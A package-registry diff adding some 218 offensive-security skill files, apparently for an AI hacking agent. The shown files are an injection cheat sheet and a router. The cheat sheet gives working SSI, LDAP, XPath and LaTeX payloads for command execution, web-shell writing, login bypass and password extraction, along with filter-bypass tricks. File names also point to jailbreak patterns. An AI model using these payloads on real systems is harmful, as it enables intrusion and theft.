ineedcodes 1.6.1 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +6 -3
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,450 @@
1
+ # Extra Injection Types — SSI, LDAP, XPath
2
+
3
+ > Companion to [SKILL.md](./SKILL.md). Covers injection types that are less common in modern web apps but still appear in specific technology stacks.
4
+
5
+ ---
6
+
7
+ ## 1. SSI Injection (Server-Side Includes)
8
+
9
+ ### Mechanism
10
+
11
+ SSI directives are parsed by the web server (Apache, Nginx, IIS) before sending the response. If user input is embedded in `.shtml` or SSI-enabled pages without sanitization:
12
+
13
+ ```
14
+ <!--#exec cmd="id"-->
15
+ <!--#include virtual="/etc/passwd"-->
16
+ ```
17
+
18
+ ### Detection
19
+
20
+ ```text
21
+ # Probe: inject SSI directive in form field, URL param, or header:
22
+ <!--#echo var="DATE_LOCAL"-->
23
+
24
+ # If response contains the current date → SSI is active and input is parsed
25
+
26
+ # Confirm command execution:
27
+ <!--#exec cmd="id"-->
28
+ ```
29
+
30
+ ### Prerequisites
31
+
32
+ - Apache with `mod_include` and `Options +Includes`
33
+ - File extension `.shtml` or `AddOutputFilter INCLUDES .html`
34
+ - Nginx with `ssi on;` in location block
35
+ - IIS with SSI feature installed
36
+
37
+ ### Key Payloads
38
+
39
+ ```text
40
+ # Command execution:
41
+ <!--#exec cmd="id"-->
42
+ <!--#exec cmd="cat /etc/passwd"-->
43
+ <!--#exec cmd="ls -la"-->
44
+
45
+ # File include:
46
+ <!--#include virtual="/etc/passwd"-->
47
+ <!--#include file="config.php"-->
48
+
49
+ # Variable echo (safe probe):
50
+ <!--#echo var="DOCUMENT_ROOT"-->
51
+ <!--#echo var="SERVER_SOFTWARE"-->
52
+ <!--#echo var="REMOTE_ADDR"-->
53
+
54
+ # Chained with file write:
55
+ <!--#exec cmd="echo '<?php system($_GET[c]);?>' > /var/www/html/shell.php"-->
56
+ ```
57
+
58
+ ### Nginx SSI Configuration
59
+
60
+ ```nginx
61
+ location / {
62
+ ssi on;
63
+ ssi_types text/shtml;
64
+ }
65
+ ```
66
+
67
+ ### Real-World Case: SSI via File Upload
68
+
69
+ Upload a file named `shell.shtml` with SSI directives:
70
+ ```text
71
+ <!--#exec cmd="whoami"-->
72
+ ```
73
+
74
+ If the web server processes `.shtml` files → command executes on page load.
75
+
76
+ ### Where to Test
77
+
78
+ - Guest books, comment systems, forums
79
+ - Error pages that include user input
80
+ - Any `.shtml` endpoint accepting user data
81
+ - File upload → upload `.shtml` file with SSI directives
82
+
83
+ ---
84
+
85
+ ## 2. LDAP Injection
86
+
87
+ ### Mechanism
88
+
89
+ LDAP queries use a filter syntax. When user input is concatenated into filters without sanitization:
90
+
91
+ ```
92
+ Original: (&(uid=USER_INPUT)(password=PASS_INPUT))
93
+ Injection: (&(uid=admin)(|(password=*)(1=1)))(password=anything))
94
+ ```
95
+
96
+ ### Detection
97
+
98
+ ```text
99
+ # Authentication bypass — classic:
100
+ Username: admin)(&)
101
+ Password: anything
102
+ # Filter becomes: (&(uid=admin)(&))(password=anything))
103
+ # The (&) always evaluates to TRUE
104
+
105
+ # OR injection:
106
+ Username: *)(uid=*))(|(uid=*
107
+ Password: anything
108
+ # Lists all users
109
+ ```
110
+
111
+ ### Common Filter Patterns
112
+
113
+ ```text
114
+ # Search filter: (&(cn=INPUT)(objectClass=person))
115
+ # Auth filter: (&(uid=INPUT)(userPassword=INPUT2))
116
+
117
+ # Metacharacters:
118
+ * — wildcard (matches anything)
119
+ () — grouping
120
+ & — AND
121
+ | — OR
122
+ ! — NOT
123
+ ```
124
+
125
+ ### Exploitation Scenarios
126
+
127
+ #### Authentication Bypass — Null Byte Truncation
128
+
129
+ ```text
130
+ # When passwords are hashed (common in OpenLDAP):
131
+ Username: admin%00 # URL-encoded null byte
132
+ # In Burp, change %2500 to %00 (actual null byte)
133
+ # LDAP query: (&(uid=admin\00)(userPassword=...))
134
+ # Null byte truncates the filter → password check skipped
135
+ ```
136
+
137
+ #### Authentication Bypass — Wildcard and Logic
138
+
139
+ ```text
140
+ # Simple wildcard:
141
+ Username: *
142
+ Password: *
143
+ # If filter: (&(uid=*)(userPassword=*)) → matches ALL entries
144
+
145
+ # Logic closure:
146
+ Username: zhang)(|(&
147
+ Password: 1
148
+ # Filter becomes: (&(uid=zhang)(|(&)(userpassword=1))) → always TRUE
149
+ ```
150
+
151
+ #### Authentication Bypass — Alternative Closures
152
+
153
+ ```text
154
+ # Username: admin)(!(&(1=0))
155
+ # Password: anything
156
+ # Result: (&(uid=admin)(!(&(1=0)))(password=anything))
157
+ # The !(&(1=0)) = !(FALSE) = TRUE → bypasses password check
158
+ ```
159
+
160
+ #### Data Extraction via Wildcard
161
+
162
+ ```text
163
+ # Enumerate attributes character by character:
164
+ (&(uid=admin)(password=a*)) → invalid → password doesn't start with 'a'
165
+ (&(uid=admin)(password=b*)) → invalid
166
+ (&(uid=admin)(password=s*)) → valid! → password starts with 's'
167
+ (&(uid=admin)(password=se*)) → valid! → second char is 'e'
168
+ ...
169
+ # Continue until full password is extracted
170
+ ```
171
+
172
+ #### OR Filter Injection
173
+
174
+ When the application uses OR filters (e.g., search by department):
175
+
176
+ ```text
177
+ # Original filter: (|(o=backend)(o=frontend))
178
+ # Injection in first parameter:
179
+ type1=backend)(cn=*&type2=frontend&pattern=1
180
+ # Result: (|(o=backend)(cn=*)(o=frontend))
181
+ # The (cn=*) matches ALL entries → data leak
182
+ ```
183
+
184
+ #### User Enumeration
185
+
186
+ ```text
187
+ (&(uid=*admin*)(objectClass=person)) → find all users containing "admin"
188
+ (&(uid=*)(mail=*@company.com)) → list all users with company email
189
+ ```
190
+
191
+ ### Defense
192
+
193
+ - Use parameterized LDAP queries (escape special chars: `*`, `(`, `)`, `\`, NUL)
194
+ - Input validation: reject `*()&|!=` in username/password fields
195
+ - Principle of least privilege for LDAP bind accounts
196
+
197
+ ---
198
+
199
+ ## 3. XPath Injection
200
+
201
+ ### Mechanism
202
+
203
+ XPath queries navigate XML documents. When user input enters XPath expressions:
204
+
205
+ ```xml
206
+ <!-- XML data store: -->
207
+ <users>
208
+ <user><name>admin</name><password>s3cret</password><role>admin</role></user>
209
+ <user><name>guest</name><password>guest</password><role>user</role></user>
210
+ </users>
211
+ ```
212
+
213
+ ```
214
+ Original query: //user[name='INPUT' and password='INPUT2']
215
+ Injection: //user[name='admin' or '1'='1' and password='anything' or '1'='1']
216
+ ```
217
+
218
+ ### Authentication Bypass
219
+
220
+ ```text
221
+ Username: admin' or '1'='1
222
+ Password: anything' or '1'='1
223
+ # Query: //user[name='admin' or '1'='1' and password='anything' or '1'='1']
224
+ # Always matches → returns first user (usually admin)
225
+ ```
226
+
227
+ ### Blind XPath Injection — Step-by-Step Methodology
228
+
229
+ When results are not directly visible, systematically map the XML structure then extract data:
230
+
231
+ ```text
232
+ # Step 1: Confirm root structure
233
+ ' or count(/)=1 and '1'='1 # always TRUE — 1 root document
234
+ ' or count(/*)=1 and '1'='1 # check number of root element children
235
+
236
+ # Step 2: Discover root element name
237
+ ' or string-length(name(//*[1]))=5 and '1'='1 # root element name is 5 chars?
238
+ ' or substring(name(//*[1]),1,1)='u' and '1'='1 # first char is 'u'?
239
+
240
+ # Step 3: Count child nodes
241
+ ' or count(/accounts)=1 and '1'='1 # confirm /accounts exists
242
+ ' or count(/accounts/user)>0 and '1'='1 # has user children?
243
+ ' or count(/accounts/user)=2 and '1'='1 # exactly 2 users
244
+
245
+ # Step 4: Discover child element names
246
+ ' or string-length(name(/accounts/*[1]))=4 and '1'='1 # child name is 4 chars → "user"
247
+
248
+ # Step 5: Enumerate user attributes
249
+ ' or count(/accounts/user[1]/*)>0 and '1'='1 # user has child elements?
250
+
251
+ # Step 6: Extract password length
252
+ ' or string-length(//user[1]/password)=6 or '1'='2
253
+
254
+ # Step 7: Extract password character by character
255
+ ' or substring(//user[1]/password,1,1)='s' or '1'='2 # 1st char
256
+ ' or substring(//user[1]/password,2,1)='e' or '1'='2 # 2nd char
257
+ ' or substring(//user[1]/password,3,1)='c' or '1'='2 # 3rd char
258
+ ...
259
+ ```
260
+
261
+ ### Vulnerable Code Pattern (PHP)
262
+
263
+ ```php
264
+ $x_query = "/accounts/user[username='{$username}' and password='{$password}']";
265
+ $result = $xml->xpath($x_query);
266
+ if ($result) { /* login success */ }
267
+ ```
268
+
269
+ ### Useful XPath Functions for Blind Extraction
270
+
271
+ ```text
272
+ string-length(string) → length of string
273
+ substring(string, pos, len) → extract substring
274
+ count(node-set) → count nodes
275
+ name(node) → element name
276
+ concat(str1, str2) → concatenate
277
+ contains(str, substr) → boolean contains check
278
+ starts-with(str, prefix) → boolean prefix check
279
+ normalize-space(str) → trim whitespace
280
+ ```
281
+
282
+ ### XPath 2.0 Extensions
283
+
284
+ ```text
285
+ # If XPath 2.0 is available:
286
+ matches(string, regex) → regex matching
287
+ lower-case(string) → case conversion
288
+ tokenize(string, pattern) → split string
289
+ ```
290
+
291
+ ### Defense
292
+
293
+ - Use parameterized XPath queries
294
+ - Input validation: reject `'`, `"`, `(`, `)`, `/`, `[`, `]`, `:`, `*`, `=`
295
+ - Consider using a proper database instead of XML data files for authentication
296
+
297
+ ---
298
+
299
+ ## 4. LaTeX Injection
300
+
301
+ When applications compile user-provided LaTeX (thesis generators, PDF report builders, math rendering):
302
+
303
+ ### File Read
304
+
305
+ ```latex
306
+ \input{/etc/passwd}
307
+ \include{/etc/passwd}
308
+
309
+ % With line numbers:
310
+ \lstinputlisting{/etc/passwd}
311
+
312
+ % Via verbatim:
313
+ \newread\file
314
+ \openin\file=/etc/passwd
315
+ \read\file to\line
316
+ \text{\line}
317
+ \closein\file
318
+ ```
319
+
320
+ ### Command Execution (requires --shell-escape or equivalent)
321
+
322
+ ```latex
323
+ % write18 is the classic RCE primitive:
324
+ \immediate\write18{id > /tmp/output.txt}
325
+ \input{/tmp/output.txt}
326
+
327
+ % Pipe variant:
328
+ \immediate\write18{cat /etc/passwd | base64 > /tmp/b64.txt}
329
+
330
+ % Input with pipe (some engines):
331
+ \input{|id}
332
+ ```
333
+
334
+ ### Cross-Site Scripting (MathJax/client-side LaTeX)
335
+
336
+ ```latex
337
+ % If LaTeX is rendered client-side via MathJax or KaTeX:
338
+ % Some versions allow HTML injection through \href or \url:
339
+ \href{javascript:alert(1)}{click}
340
+ ```
341
+
342
+ ### Detection
343
+
344
+ ```text
345
+ # Probe: Does the following render?
346
+ $\frac{1}{2}$ → basic math renders
347
+ \input{/etc/hostname} → file inclusion attempt
348
+ \write18{id} → command execution attempt
349
+ ```
350
+
351
+ ---
352
+
353
+ ## 5. Encoding Transformation Bypass
354
+
355
+ Unicode normalization and encoding differences can bypass security filters:
356
+
357
+ ### Unicode Normalization Exploits
358
+
359
+ ```text
360
+ # NFC/NFD/NFKC/NFKD normalization can change characters:
361
+ # NFKC normalizes: ff (U+FB00, LATIN SMALL LIGATURE FF) → "ff"
362
+ # Fullwidth characters: A (U+FF21) → "A"
363
+
364
+ # Attack: Register username "ⓐdmin" → normalizes to "admin" after filter check
365
+ # Password reset: request for "Admin" (fullwidth A) → matches "admin" in DB
366
+ ```
367
+
368
+ ### Punycode / Homograph Attacks
369
+
370
+ ```text
371
+ # IDN domains: аpple.com (Cyrillic а) looks like apple.com
372
+ # xn--pple-43d.com → displays as аpple.com in browsers
373
+
374
+ # Used for: phishing, open redirect filter bypass, SSRF domain validation bypass
375
+ ```
376
+
377
+ ### MySQL Collation Tricks
378
+
379
+ ```sql
380
+ -- Default utf8_general_ci treats certain Unicode chars as equivalent:
381
+ -- 'a' = 'ᵃ' (U+1D43, MODIFIER LETTER SMALL A)
382
+ SELECT * FROM users WHERE username = 'ᵃdmin' -- matches 'admin'!
383
+
384
+ -- Exploitation: Register as 'ᵃdmin', system treats as 'admin'
385
+ ```
386
+
387
+ ### Base64 Ambiguity
388
+
389
+ ```text
390
+ # Same base64 string can decode differently depending on charset/padding:
391
+ # Some WAFs decode base64 for inspection but use different decoder than app
392
+ # Malformed base64 padding may bypass WAF but still decode in app
393
+ ```
394
+
395
+ ### Double Encoding
396
+
397
+ ```text
398
+ %252e%252e%252f → %2e%2e%2f (after first decode) → ../ (after second decode)
399
+ # If WAF decodes once but app decodes twice → filter bypass
400
+ ```
401
+
402
+ ---
403
+
404
+ ## 6. PHP External Variable Modification
405
+
406
+ When PHP applications use `extract()` or `import_request_variables()` on untrusted input:
407
+
408
+ ### extract() Variable Overwrite
409
+
410
+ ```php
411
+ // Vulnerable:
412
+ extract($_GET);
413
+ // Attacker: ?auth=true&is_admin=1
414
+ // Now $auth = "true" and $is_admin = "1" in the application scope
415
+
416
+ // Combined with include:
417
+ extract($_GET);
418
+ include($template . ".php");
419
+ // Attacker: ?template=../../../../etc/passwd%00
420
+ ```
421
+
422
+ ### EXTR_OVERWRITE vs EXTR_SKIP
423
+
424
+ ```php
425
+ // Default: EXTR_OVERWRITE — overwrites existing variables (dangerous!)
426
+ extract($_POST); // Overwrites even $db_password if POST has it
427
+
428
+ // Safer but still risky:
429
+ extract($_POST, EXTR_SKIP); // Won't overwrite existing, but creates new globals
430
+ ```
431
+
432
+ ### $GLOBALS Overwrite (PHP < 8.1)
433
+
434
+ ```php
435
+ // In PHP < 8.1, $GLOBALS could be modified:
436
+ // Attacker: ?GLOBALS[admin]=1
437
+ extract($_GET); // $GLOBALS['admin'] = 1 if EXTR_OVERWRITE
438
+
439
+ // PHP 8.1+ made $GLOBALS read-only — this attack no longer works
440
+ ```
441
+
442
+ ### Detection
443
+
444
+ ```text
445
+ # Look for:
446
+ # - extract($_GET), extract($_POST), extract($_REQUEST)
447
+ # - parse_str($query) without second parameter (imports to current scope)
448
+ # - import_request_variables() (removed in PHP 5.4)
449
+ # - $$variable (variable variables with user input)
450
+ ```
@@ -0,0 +1,50 @@
1
+ ---
2
+ name: injection-checking
3
+ description: >-
4
+ Entry P1 category router for injection testing. Use when routing between XSS,
5
+ SQLi, SSRF, XXE, SSTI, command injection, and NoSQL injection workflows based
6
+ on how attacker-controlled input is consumed.gated: true
7
+ ---
8
+
9
+ # Injection Testing Router
10
+
11
+ This is the routing entry point when input reaches a dangerous interpreter or execution environment.
12
+
13
+ After confirming this is an injection-class issue, use it to decide whether it is mainly browser context, database, template engine, server-side requests, XML parsing, or system commands.
14
+
15
+ ## When to Use
16
+
17
+ - Input reaches HTML, JS, SQL, templates, URL fetchers, XML parsers, or shell
18
+ - You have not yet decided whether to start with XSS, SQLi, SSRF, XXE, SSTI, CMDi, or NoSQL
19
+ - You need to choose the correct deep-topic skill based on input flow
20
+
21
+ ## Skill Map
22
+
23
+ - [XSS Cross Site Scripting](../xss-cross-site-scripting/SKILL.md)
24
+ - [SQLi SQL Injection](../sqli-sql-injection/SKILL.md)
25
+ - [SSRF Server Side Request Forgery](../ssrf-server-side-request-forgery/SKILL.md)
26
+ - [XXE XML External Entity](../xxe-xml-external-entity/SKILL.md)
27
+ - [SSTI Server Side Template Injection](../ssti-server-side-template-injection/SKILL.md)
28
+ - [CMDi Command Injection](../cmdi-command-injection/SKILL.md)
29
+ - [NoSQL Injection](../nosql-injection/SKILL.md)
30
+ - [Deserialization Insecure](../deserialization-insecure/SKILL.md)
31
+ - [JNDI Injection](../jndi-injection/SKILL.md)
32
+ - [Expression Language Injection](../expression-language-injection/SKILL.md)
33
